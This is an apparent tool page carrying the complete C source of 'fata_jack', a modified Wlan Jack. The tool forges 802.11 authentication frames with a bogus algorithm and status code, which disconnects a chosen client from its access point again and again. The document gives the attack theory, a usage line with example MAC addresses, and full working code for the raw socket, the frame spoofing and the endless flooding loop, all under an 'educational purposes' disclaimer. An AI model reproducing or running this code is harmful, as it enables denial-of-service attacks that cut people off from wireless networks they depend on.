fatajack is a modified Wlan Jack that sends a deauth instead of an auth. This tool highlights poor AP security and works by sending authentication requests to an AP with an inappropriate authentication algorithm and status code. This causes most makes to drop the relevant associated session.
5b4c8235dc1aa20a0096f52dea4f1c9832db9cee0de8bddad235a411167b0ced
/******************************************************************************
**
** fata_jack:
by
loud-fat-bloke
of
www.loud-fat-bloke.co.uk
./fata_jack -b 00:90:4b:06:3d:74 -v 00:30:ab:1b:9b:cc -c 6
*/
// Complete rip of Wlan Jack
// instead of sending a deauth only it sends an auth request
//
// More precisely with grateful thanks to "Ursus Arctos" for the analysis
/*The frame has a destination address of the AP and a source
address of the Client and is a management frame of type "authentication"
with an unknown algorithm (type 2) and a seq number and satus code both
of 0xffff.
As a result the AP sends a reply that says it "Received an
Authentication frame with authentication sequence transaction sequence
number out of expected sequence" ie code 0x000e.
This causes the client to become unauthenticated
from the AP... and because it takes so long for the client to
re-authenticate and re-associate you are able to decrease the transmit
frequency.
*/
// In effect a DoS attack
//
// I orginally developed this for WIDZ to do the
// equivalent of shunning when the ids detects an intruder
//
// I have released it BECAUSE even afterall the TV, conferences
// and articles I have done generally people are deploying
// UNSAFE WLANS.
//
// Disclaimer
// This code is provided for educational purposes only - to insure
// this I have not(and will not) provide the necessary drivers
// to run the code - which is the responsibility of others
// I also have not provided the necessary make file.
//
//
/******************************************************************************
** Wlan Jack: 802.11b DOS attack, great to break the ice at parties...
**
** Author: Abaddon, abaddon@802.11ninja.net
**
** Other Development Stuff: Xx25, xx25@leper.org
**
** Copyright (c) 2002 Abaddon, All Rights Reserved (see license info below).
**
***************
**
** Theory of Operation:
**
** Because 802.11(b) doesnt authenticate management frames in any way
** any station will just trust that if the frame header says it came
** from its access point, then surely it must be valid, afterall
** computers dont lie right?...well unfortunatly for our victum, I do
** lie, and the lie im going to tell here is that the access point
** says you are no longer authenticated...the IEEE specs says a
** station must be authenticated to be associated, so if we send these
** faster than they can reconnect, they will never get back on...
** so dont ever say IEEE never did anything for you ok...
**
** Requirements:
**
** You're gonna need the AirJack driver package to get this to work
** if you dont see aj0 when you type ifconfig -a, then its not gonna
** work...these drivers only work on Linux, and then only on 2.4.x
** kernels, and I have no plans to port this driver to any other
** platforms (sorry BSD guys, I just have no free time)...
**
** Build Instructions:
**
** With the AirJack package: make essid_jack
** Without the package : gcc -O2 essid_jack.c -o essid_jack
**
********************
**
** Legal:
**
** This program is free software; you can redistribute it and/or
** modify it under the terms of the GNU General Public License
** as published by the Free Software Foundation; either version 2
** of the License, or (at your option) any later version.
**
** This program is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
**
** You should have received a copy of the GNU General Public License
** along with this program; if not, write to the Free Software
** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
**
********************
**
** $Id$
**
******************************************************************************/
#define __ESSID_JACK_C__
#include <sys/types.h>
#include <asm/types.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <features.h> /* for the glibc version number */
#include <netinet/in.h>
#if __GLIBC__ >= 2 && __GLIBC_MINOR >= 1
#include <netpacket/packet.h>
#include <net/ethernet.h> /* the L2 protocols */
#else
#include <asm/types.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h> /* The L2 protocols */
#endif
#include <syslog.h>
#include <limits.h>
#include <ctype.h>
#include "80211.h"
#include "../airjack.h"
/*** Globals ***/
int channel; /* channel the bss is on */
char ifname[IFNAMSIZ]; /* name of the interface to send this out on */
__u8 bssidmac[6];
__u8 killedmac[6];
__u8 buf[4096];
int sockfd; /* listen and send socket */
/***************/
/*
* a safe (portable) implimentation of signal()...
*/
static void safe_signal (int signum, void (*handler)(int))
{
struct sigaction sa;
memset(&sa, 0, sizeof(struct sigaction));
sa.sa_handler = handler;
#ifdef SA_RESTART
sa.sa_flags |= SA_RESTART;
#endif
#ifdef SA_INTERRUPT
sa.sa_flags &= ~ SA_INTERRUPT;
#endif
sigaction_again:
if(sigaction(signum, &sa, NULL) < 0) {
if(errno == EINTR)
goto sigaction_again;
fprintf(stderr, "error while setting up timeout signal handler.\n");
exit(1);
}
}
/*
* sets up the raw link layer socket for Aironet type cards...
* returns a filedescriptor on success, -1 on error, errno is set
*/
static int get_socket (void)
{
struct sockaddr_ll addr;
struct ifreq req;
struct aj_config aj_conf;
int sockfd, flags;
/* open the link layer socket */
if((sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) {
return(-1);
}
/* get the interface index */
memset(&req, 0, sizeof(struct ifreq));
memset(&aj_conf, 0, sizeof(struct aj_config));
strcpy(req.ifr_name, ifname);
if(ioctl(sockfd, SIOCGIFINDEX, &req) < 0) {
return(-2);
}
/* bind the socket to the interface */
memset(&addr, 0, sizeof(struct sockaddr_ll));
addr.sll_ifindex = req.ifr_ifindex;
addr.sll_protocol = htons(ETH_P_ALL);
addr.sll_family = AF_PACKET;
if(bind(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_ll)) < 0) {
return(-3);
}
req.ifr_data = (char *)&aj_conf;
/* populate the structure */
if(ioctl(sockfd, SIOCAJGMODE, &req) < 0) {
return(-4);
}
if(channel != -1) {
aj_conf.channel = channel;
}
memcpy(aj_conf.ownmac, killedmac, 6);
aj_conf.mode = 6;
aj_conf.monitor = 0;
if(ioctl(sockfd, SIOCAJSMODE, &req) < 0) {
return(-4);
}
/* go non-blocking */
if((flags = fcntl(sockfd, F_GETFL)) < 0) {
return(-5);
}
if(fcntl(sockfd, F_SETFL, flags|O_NONBLOCK) < 0) {
return(-6);
}
return(sockfd);
}
/*
* converts all lower case letters in the the string to upper case
*/
static __inline__ void to_upper (char *s)
{
char *p;
char offset;
offset = 'A' - 'a';
for(p=s;*p != '\0';p++) {
if(islower(*p)) {
*p += offset;
}
}
}
/*
* converts a string to a mac address...
* returns 1 on success, -1 on failure...
* failure indicates poorly formed input...
*/
int string_to_mac (char *string, __u8 *mac_buf)
{
char *ptr, *next;
unsigned long val;
int i;
to_upper(string);
ptr = next = string;
for(i=0;i < 6;i++) {
if((val = strtoul(next, &ptr, 16)) > 255) {
errno = EINVAL;
return(-1);
}
mac_buf[i] = (__u8)val;
if((next == ptr) && (i != 6 - 1)) {
errno = EINVAL;
return(-1);
}
next = ptr + 1;
}
return(1);
}
/*
* um, its usage...
*/
static void usage (const char *pname)
{
fprintf(stderr, "fata Jack: 802.11b DOS attack.\n\n");
fprintf(stderr, "Usage: fata-jack -b <mac2b killed> -v <AP mac address> -c <channel number> -i <interface name> \n");
fprintf(stderr, " -b: the mac address to b killed (e.g. 00:de:ad:be:ef:00)\n");
fprintf(stderr, " -v: AP mac address. needed \n");
fprintf(stderr, " -c: channel number (1-14) that the access point is on, defaults to current.\n");
fprintf(stderr, " -i: the name of the AirJack interface to use (defaults to aj0).\n\n");
exit(1);
}
/*
* parses the command line options...
*/
static void parse_opts (int argc, char **argv)
{
char opt;
int i=0;
char *pname = argv[0];
__u8 opts_given = 0; /* bitfield to make sure they enter the right stuff */
#define OPT_BSSID 4
/* set defaults */
strcpy(ifname, "aj0");
memset(&(killedmac), 0xff, sizeof(killedmac));
channel = -1;
opterr = 0;
while((opt = getopt(argc, argv, "i:v:b:c:")) > 0) {
switch(opt) {
case 'i':
strncpy(ifname, optarg, IFNAMSIZ);
break;
case 'b':
opts_given |= OPT_BSSID;
if(string_to_mac(optarg, killedmac) < 0) {
fprintf(stderr, "Improperly formed BSSID.\n\n");
usage(pname);
exit(1);
}
i++ ;
break;
case 'v':
if(string_to_mac(optarg, bssidmac) < 0) {
fprintf(stderr, "Improperly formed destination address (victum).\n\n");
usage(pname);
exit(1);
}
i++ ;
break;
case 'c':
channel = atoi(optarg);
if((channel > 14) || (channel < 1)) {
fprintf(stderr, "Invalid channel number.\n\n");
usage(pname);
}
i++ ;
break;
default:
fprintf(stderr, "Invalid option '%c'.\n\n", opt);
usage(pname);
break;
}
}
if ( i != 3)
{
fprintf(stderr, "Invalid option \n");
usage(pname);
exit;
}
}
/*
* sends a auth to the given poor bastard, for the given bssid...
*/
void send_auth (__u8 *killedmac, __u8 *bssidmac)
{
struct {
struct a3_80211 hdr;
unsigned short int reason;
}__attribute__ ((packed)) frame;
/* setup the frame */
memset(&frame, 0, sizeof(frame));
memcpy(frame.hdr.mh_mac1, bssidmac, sizeof(frame.hdr.mh_mac1));
memcpy(frame.hdr.mh_mac2, killedmac, sizeof(frame.hdr.mh_mac2));
memcpy(frame.hdr.mh_mac3, killedmac, sizeof(frame.hdr.mh_mac3));
frame.hdr.mh_type = FC_TYPE_MGT;
frame.hdr.mh_subtype = MGT_AUTH;
frame.reason = 2; /* previous authentication is no longer valid */
write_again:
if(write(sockfd, &frame, sizeof(frame)) < 0) {
if((errno == EWOULDBLOCK) || (errno == EAGAIN)) {
close(sockfd);
/* dont want to change the channel again */
channel = -1;
if((sockfd = get_socket()) < 0) {
perror("get_socket");
exit(1);
}
goto write_again;
}
perror("write");
exit(1);
}
}
/*
* SIGINT handler, cleans up when you hit ctrl-c and exits...
*/
void clean_exit (int signum)
{
printf("\rJacking Wlan...good bye.\n");
close(sockfd);
exit(0);
}
/*
* this program forces a network to give up its essid...uh read above...
*/
int main (int argc, char **argv)
{
unsigned int i = 0;
char wheel[4] = { '|', '/', '-', '\\' };
struct timeval tv;
parse_opts(argc, argv);
if((sockfd = get_socket()) < 0) {
perror("get_socket");
exit(1);
}
/* set our timeout */
safe_signal(SIGINT, clean_exit);
setbuf(stdout, NULL);
printf("FATA_the_ripa (of wlan jack) : 802.11 DOS utility.\n\n");
while(1) {
printf("\rJacking Wlan...%c", wheel[(++i)%4]);
send_auth(killedmac, bssidmac);
// jacked this up - pardon the expression to insure any
// effect wasn't down to signal quality
// or flooding
//
tv.tv_sec = 2;
tv.tv_usec = 50000;
select(0, NULL, NULL, NULL, &tv);
}
/* never gets here */
close(sockfd);
exit(0);
}